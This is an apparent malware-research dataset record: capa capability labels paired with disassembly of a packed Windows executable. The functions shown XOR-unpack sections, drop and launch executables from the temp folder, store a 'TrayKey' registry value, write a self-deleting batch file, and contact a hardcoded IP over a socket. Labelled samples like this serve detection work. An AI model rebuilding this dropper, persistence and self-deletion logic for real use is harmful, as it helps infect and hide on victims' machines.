joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432000
Capabilities:
Authenticate hmac
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x759675b2
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3fb525ff
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401081
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x424628
push 0x67
push edi
call esi
push 0x64
push 0x424560
push 0x6d
push edi
call esi
mov eax, edi
call fcn.0040121a
push ebx
mov esi, 0x425130
push esi
call fcn.00408da4
call fcn.00402e79
push 0x41dc68
push esi
mov dword [0x423040], eax
call fcn.00408dc3
add esp, 0x10
test eax, eax
je 0x401107
call fcn.00401955
test eax, eax
je 0x401107
call fcn.00403141
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call fcn.0040128b
pop ecx
test eax, eax
jne 0x401129
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00408cba
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
xor eax, eax
push 0x206
push eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1a]
push eax
call fcn.00408cd0
mov ecx, dword [0x424d78]
add esp, 0xc
test ecx, ecx
jbe 0x401176
cmp word [0x424d7c], 0
jbe 0x401176
mov esi, str.218.54.31.226
call fcn.00402e15
mov ax, word [0x424d7c]
mov word [0x4235ec], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov esi, 0x3e8
mov ecx, esi
div ecx
xor edx, edx
mov ebx, 0x425340
div ecx
push edx
push str.Temp7_X.exe
push ebx
call fcn.004028a3
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402655
lea edi, [esp + 0x10]
call fcn.004083c4
push 0x41dc88
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00408dfa
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.00408dfa
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401205
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
xor eax, eax
push eax
push 0x41de30
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402432
jmp 0x4010fa
Function at 0x402278
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4022a1
push dword [ebp + 8]
call fcn.00402f15
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x4022a1
inc ebx
jmp 0x402311
mov edi, 0x200000
push edi
call fcn.00409767
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.00404f8b
add esp, 0xc
test eax, eax
je 0x40230a
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408e77
pop ecx
push 0x32
mov eax, 0xc8
call fcn.004028be
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.004030cf
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.00408bfe
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.0040b4eb
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x402432
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x238], ax
xor esi, esi
lea eax, [ebp - 0x236]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push 9
mov word [ebp - 0x2c], ax
pop ecx
lea edi, [ebp - 0x2a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x425018
mov ebx, 0x104
push edi
mov dword [ebp - 0x248], esi
mov dword [ebp - 0x244], ebx
call fcn.00409dc5
pop ecx
test eax, eax
je 0x4024ae
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
jne 0x402644
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x23c]
push eax
push 0xf003f
push esi
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push closesocket
call edi
test eax, eax
jne 0x40252a
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x248]
push eax
push esi
push str.TrayKey
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40251e
lea eax, [ebp - 0x2c]
push eax
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40251e
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402644
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x238]
push eax
push ebx
mov dword [ebp - 0x240], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x425038
call fcn.00409dc5
test eax, eax
pop ecx
lea eax, [ebp - 0x238]
jne 0x402569
push str.secu
push ebx
push eax
call fcn.00408dfa
add esp, 0xc
push str.secu
jmp 0x40257d
push 0x425038
push ebx
push eax
call fcn.00408dfa
add esp, 0xc
push 0x425038
lea eax, [ebp - 0x2c]
push eax
call fcn.00408da4
pop ecx
pop ecx
push str..exe
lea eax, [ebp - 0x238]
push ebx
push eax
call fcn.00408dfa
lea eax, [ebp - 0x240]
add esp, 0xc
push eax
call fcn.00402974
mov ebx, eax
pop ecx
cmp ebx, esi
je 0x402644
push dword [ebp - 0x240]
lea eax, [ebp - 0x238]
push ebx
push eax
call fcn.00402278
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
push 0x41de30
lea eax, [ebp - 0x238]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x23c]
push eax
push 3
push esi
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push closesocket
call edi
test eax, eax
jne 0x40263d
lea eax, [ebp - 0x2c]
push eax
call fcn.00409dc5
pop ecx
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x2c]
push eax
push 1
push esi
push str.TrayKey
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40263d
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.0040b579
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00408cba
leave
ret
Function at 0x402719
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x430], eax
push eax
call fcn.0040841e
pop ecx
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x402894
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.00408cd0
add esp, 0xc
lea edi, [ebp - 0x220]
call fcn.004083c4
push 0x41dc88
mov ebx, 0x104
mov eax, edi
push ebx
push eax
call fcn.00408dfa
mov byte [ebp - 0x18], 0
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, 0x424700
stosb byte es:[edi], al
mov edi, esi
cmp word [edi], 0
je 0x40281e
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push ebx
push eax
call fcn.00409215
add esp, 0xc
push edi
lea eax, [ebp - 0x428]
push ebx
push eax
call fcn.00408dfa
lea eax, [ebp - 0x428]
add esp, 0xc
push eax
lea ecx, [ebp - 0x18]
call fcn.004046f8
pop ecx
test eax, eax
je 0x40281e
push 0x14
lea eax, [edi + 0x104]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00409e6b
add esp, 0xc
test eax, eax
jne 0x40281e
mov word [edi], ax
add edi, 0x118
cmp edi, 0x424c78
jl 0x4027c0
cmp word [esi], 0
je 0x40284f
push dword [ebp + 0xc]
mov eax, dword [esi + 0x100]
push dword [ebp - 0x430]
mov ecx, esi
mov dword [0x4246f4], eax
call fcn.00408656
pop ecx
pop ecx
add esi, 0x118
cmp esi, 0x424c78
jl 0x40282c
push 0x425340
lea eax, [ebp - 0x220]
push ebx
push eax
call fcn.00408dfa
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40288e
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408cba
leave
ret

Function at 0x402974
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x83
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x4029e1
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.0040b79e
push esi
mov edi, eax
push 0
push edi
call fcn.00408cd0
push esi
push ebp
push edi
call fcn.00408eb0
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret
Function at 0x402b08
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.00409767
pop ecx
lea ecx, [ebp - 0x30]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402b79
push dword [ebp - 0x28]
call fcn.0040b4eb
push dword [ebp - 0x30]
call fcn.00409767
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x30]
push eax
push edi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x402c34
mov dword [ebp - 0x34], edi
cmp edi, ebx
je 0x402c34
jmp 0x402b9e
mov edi, dword [ebp - 0x34]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x38], 0
je 0x402bbb
push 6
lea eax, [edi + 0x194]
push eax
push dword [ebp - 0x38]
call fcn.00408eb0
add esp, 0xc
lea esi, [edi + 0x1ac]
test esi, esi
je 0x402c23
lea edi, [esi + 4]
push edi
call fcn.00409de0
cmp eax, 0x10
pop ecx
jle 0x402bd7
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x402bf7
cmp ecx, eax
jne 0x402be8
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x402bdf
lea eax, [ebp - 0x24]
push eax
call fcn.00402cf4
pop ecx
test eax, eax
je 0x402c19
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x3c]
push 0x10
push dword [eax + ebx*4]
call fcn.00409215
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x402bc5
mov edi, dword [ebp - 0x34]
test ebx, ebx
jg 0x402c34
mov edi, dword [edi]
mov dword [ebp - 0x34], edi
test edi, edi
jne 0x402b9b
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x40]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x402c4b
push dword [ebp - 0x28]
call fcn.0040b4eb
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00408cba
leave
ret

Function at 0x402e79
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402efd
cmp dword [ebp - 0x7c], 5
mov eax, dword [ebp - 0x78]
jne 0x402ee7
test eax, eax
jne 0x402ed6
cmp word [ebp + 0x94], 4
jb 0x402efd
inc esi
cmp eax, 2
jne 0x402edd
push eax
pop esi
jae 0x402ee4
cmp eax, 1
jne 0x402efd
push 3
pop esi
cmp dword [ebp - 0x7c], 6
jne 0x402efd
test eax, eax
jne 0x402ef5
push 4
jmp 0x402efc
cmp eax, 1
jne 0x402efd
push 5
pop esi
mov ecx, dword [ebp + 0x9c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408cba
add ebp, 0xa0
leave
ret
Function at 0x402f15
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push closesocket
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x402f44
mov edx, esi
jmp 0x402f63
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x402f5a
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40303a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408cd0
add esp, 0xc
cmp dword [0x423040], 3
lea eax, [ebp - 0x20c]
jne 0x4030a0
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41dc88
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00408dfa
add esp, 0xc
pop esi
jmp 0x4030ac
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00408cba
leave
ret
Function at 0x403141
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x29c]
sub esp, 0x31c
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x298], eax
push ebx
push esi
lea eax, [ebp + 0x194]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._vslite.bat
lea eax, [ebp + 0x194]
push esi
push eax
call fcn.0040be3b
add esp, 0xc
push esi
lea eax, [ebp + 0x90]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x90]
push eax
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.0040bbb3
lea eax, [ebp - 0x74]
push 0x5c
push eax
call fcn.0040bdf0
add esp, 0x14
cmp eax, ebx
je 0x4031bf
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x40328d
lea eax, [ebp + 0x90]
push edi
push eax
call fcn.00409de0
mov esi, eax
mov edi, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
imul esi, esi, 3
push edi
call fcn.00409de0
add esi, eax
lea eax, [ebp + 0x194]
push eax
call fcn.00409de0
lea eax, [eax + esi + 0x32]
push eax
mov dword [ebp - 0x78], eax
call fcn.0040b79e
push dword [ebp - 0x78]
mov esi, eax
push ebx
push esi
call fcn.00408cd0
lea eax, [ebp + 0x194]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x90]
push eax
push eax
push edi
push dword [ebp - 0x78]
push esi
call fcn.0040be1d
add esp, 0x38
push ebx
lea eax, [ebp - 0x80]
push eax
push esi
call fcn.00409de0
pop ecx
push eax
push esi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x194]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
cmp esi, ebx
je 0x40328d
push esi
call fcn.0040b579
pop ecx
mov ecx, dword [ebp + 0x298]
pop esi
xor ecx, ebp
pop ebx
call fcn.00408cba
add ebp, 0x29c
leave
ret

Function at 0x4032a4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x4032ed
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret
Function at 0x403471
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x40351a
mov ebx, 0xc00
push ebx
call fcn.0040b79e
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x40350b
mov eax, dword [ebp - 4]
push 4
add eax, 0x38
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x4034ed
jg 0x4034e1
cmp ecx, dword [ebp - 0x18]
jbe 0x4034ed
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x90
dec ebx
jne 0x4034d0
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.004172e0
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x40351a
push dword [ebp - 4]
call fcn.0040b579
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403612
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408cd0
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00403384
push dword [ebp - 0x214]
call fcn.004032f2
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40368a
xor eax, eax
jmp 0x403693
push esi
push eax
call fcn.00403542
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408cba
leave
ret

Function at 0x404564
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x404808
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b8
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x9b0], eax
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x808], ax
lea eax, [ebp - 0x806]
push eax
mov esi, ecx
call fcn.00408cd0
add esp, 0xc
lea edi, [ebp - 0x808]
test esi, esi
je 0x404852
mov edi, esi
xor eax, eax
and dword [ebp - 0x9b4], eax
and dword [ebp - 0x9ac], eax
mov word [edi], ax
lea eax, [ebp - 0x9a8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4048ac
push 0x41deb8
mov esi, 0x3ff
push esi
push edi
call fcn.00409215
push 0x41ded8
push esi
push edi
call fcn.00408dfa
push 0x41dedc
push esi
push edi
call fcn.00408dfa
add esp, 0x24
xor eax, eax
jmp 0x40493a
push 6
xor esi, esi
inc esi
push esi
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x404879
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404948
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b4], eax
push 4
lea eax, [ebp - 0x9b4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x404948
push 0x41deb8
mov esi, 0x3ff
push esi
push edi
call fcn.00409215
push 0x41ded8
push esi
push edi
call fcn.00408dfa
push 0x41dedc
push esi
push edi
call fcn.00408dfa
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x404934
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [ebx], 0
mov eax, dword [ebp - 0x9ac]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00408cba
leave
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x814], eax
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x816], ax
push 0x10
lea eax, [ebp - 0x818]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x40498e
push 0x41df1c
jmp 0x4048fd
mov dword [ebp - 0x9ac], esi
jmp 0x404934

Function at 0x4049b1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
push esi
mov dword [ebp - 4], ecx
cmp dword [eax], ecx
je 0x404a25
cmp edi, ecx
jle 0x4049d3
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, edi
jl 0x4049c7
lea ebx, [edi + 7]
push ebx
call fcn.0040b79e
mov esi, eax
lea eax, [edi + 5]
push 5
mov word [esi], ax
lea eax, [esi + 2]
push str.AS101
push eax
call fcn.00408eb0
push edi
push dword [ebp + 0xc]
lea eax, [esi + 7]
push eax
call fcn.00408eb0
mov eax, dword [ebp + 8]
add esp, 0x1c
push 0
push ebx
push esi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404a28
cmp eax, ebx
jne 0x404a28
mov dword [ebp - 4], 1
jmp 0x404a28
mov esi, dword [ebp + 8]
test esi, esi
je 0x404a33
push esi
call fcn.0040b579
pop ecx
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret